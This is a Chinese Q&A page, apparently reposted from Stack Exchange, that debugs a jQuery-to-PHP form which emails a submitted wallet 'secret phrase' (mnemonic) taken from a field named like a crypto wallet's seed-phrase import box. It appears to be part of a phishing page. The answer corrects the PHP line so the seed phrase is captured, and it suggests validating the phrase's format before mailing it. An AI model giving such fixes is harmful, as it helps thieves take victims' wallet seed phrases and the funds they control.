jQuery AJAX传值到PHP发邮件时$_POST接收变量为空问题求助
问题根因
前端提交的POST参数键名和后端接收的键名不匹配:
- 前端
$.post请求中,你将输入框的值放在了键为data的字段中提交 - 后端PHP代码中错误使用CSS类名
.import-account__secret-phrase作为键名取值,该键在POST请求中不存在,因此拿到的是空值。
修复方案
直接修改post.php中的取值代码即可:
将原代码中的
$postmessage = $_POST['.import-account__secret-phrase'];
替换为
$postmessage = $_POST['data'];
如果要避免未传参数导致的报错,可以优化为:
$postmessage = isset($_POST['data']) ? trim($_POST['data']) : '助记词为空';
补充优化建议
- 增加参数校验逻辑,确认助记词格式符合要求后再发送邮件,避免垃圾空邮件
- 助记词属于高敏感资产,建议传输和存储时做加密处理,避免明文泄露带来资产损失
内容的提问来源于stack exchange,提问作者Kaniick
相关产品推荐
相关产品推荐

